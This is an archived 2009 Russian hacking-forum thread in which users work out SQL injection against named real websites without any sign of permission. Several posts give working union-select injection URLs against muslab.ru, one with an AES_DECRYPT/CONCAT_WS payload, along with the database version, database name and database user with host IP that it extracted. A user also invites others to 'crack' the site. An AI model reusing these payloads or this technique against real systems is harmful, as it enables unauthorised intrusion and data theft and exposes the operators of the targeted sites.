ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
28.03.2009, 07:39
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Сообщение от Велемир
А при том,что order by и 1 and 1 = 5 - запросы.А правильные запросы при нормальном инжекте должны возвращать результат,но никак не ошибку. При 1 and 1 = 1 я наблюдал то же,что и при 1 and 1 = 5.По-твоему,ит`с нормалли?
ЗЫ: А я что,доказывал,что 1 равно пяти ?
Это всё ясно, так order by конструкция тут причём? Веля ты чё то путаешь!!! То что при 1 and 1 = 1 и 1 and 1 = 5 одно и то же выдаёт это не есть норма, но
order by то тут причем?
|
|
|
28.03.2009, 17:53
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме:
6128108
Репутация:
445
|
|
http://www.orden-justice.ru/news/608'
Что это? Можно ли как нибуть заюзать?
|
|
|
|
28.03.2009, 18:06
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Можно. Раскрытие путей
|
|
|
|
28.03.2009, 21:01
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
столкнулся с такой траблой:
есть уязвимый параметр: id=1
подобрал количество полей: id=1+order+by+15
вывел их через union: id=9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12 ,13,14,15
почти все оказались принтабельны и цифры отобразились, но стоит вместо любой из цифр вставить например version(), то происходит ошибка.
дихотомическим поиском id=1+/*!40112+AND+0+*/ выяснил версию мускула
еще такая странность,
если ...select+1,2,3,4,5,6.... на месте 5 выводится Астана
а если например поставить другую цифру ...select+1,2,3,4,33,6.... то выводится другой город
вообщем хотелось бы узнать при каких условиях такое возможно - я так полагаю, что там принудительный перевод в Integer и String там не заюзать
либо там в скрипте выполняются 2 запроса к базе подряд причем с одинаковым количеством полей
кто что думает по ӕтому поводу?
Последний раз редактировалось Lutherion; 28.03.2009 в 21:04..
|
|
|
|
28.03.2009, 21:16
|
|
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
Провел на форуме:
1357043
Репутация:
137
|
|
а если поставишь id=1+and+1=2+ тоже будет так выводить ?
кавычки тоже фильтруются ? поставь id=1'+union+..
|
|
|
|
28.03.2009, 21:30
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
id=1+and+1=2 выдает ошибку
id=1+and+1=1 выдает идентично id=1 что и следовало ожидать
http://www.muslab.ru/msg.php?msg_id=-166884+and+1=2+union+select+1,2,3,4,5,6,7,8,versio n(),10,11,12,13,14,15 выдает теже самые принтабельные поля, что странно.
любая кавычка вызывает ошибку
вообщем выше собственно сам линк расковыряйте кому интересно - сайт сам по себе ценности не представляет просто стало интересно раскрутить ӕтот скуль
если кто раскрутит напишите каким методом ӕто удалось )
Последний раз редактировалось Lutherion; 28.03.2009 в 21:33..
|
|
|
|
28.03.2009, 21:36
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.muslab.ru/msg.php?msg_id=-166884+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AE S_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User ()),0x71),0x71),10,11,12,13,14,15/*
Database Version: 4.1.11-Debian_4sarge2-log
Database name: k4dre_data
User name: k4dre_data@77.221.130.1
не понял в чем проблема?
|
|
|
|
28.03.2009, 21:38
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638
Репутация:
256
|
|
Бля писец проблему нашли!!! version() здесь просто фильтруется!!!
Вот вывод:
http://www.muslab.ru/msg.php?msg_id=-166884+union+select+1,2,3,4,5,6,7,8,unhex(hex(vers ion())),10,11,12,13,14,15
|
|
|
|
28.03.2009, 21:44
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 7
Провел на форуме:
31397
Репутация:
9
|
|
Сообщение от DrAssault
Бля писец проблему нашли!!!
ну куле, бывает 
Последний раз редактировалось Lutherion; 28.03.2009 в 21:46..
|
|
|
|
28.03.2009, 22:06
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от DrAssault
Бля писец проблему нашли!!! version() здесь просто фильтруется!!!
Вот вывод:
http://www.muslab.ru/msg.php?msg_id=-166884+union+select+1,2,3,4,5,6,7,8,unhex(hex(vers ion())),10,11,12,13,14,15
Не нужно писать чушь в перемешку с матом. О какой фильтрации ты говоришь? И что по твоему делает твой запрос? Обходит фильтрацию?
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид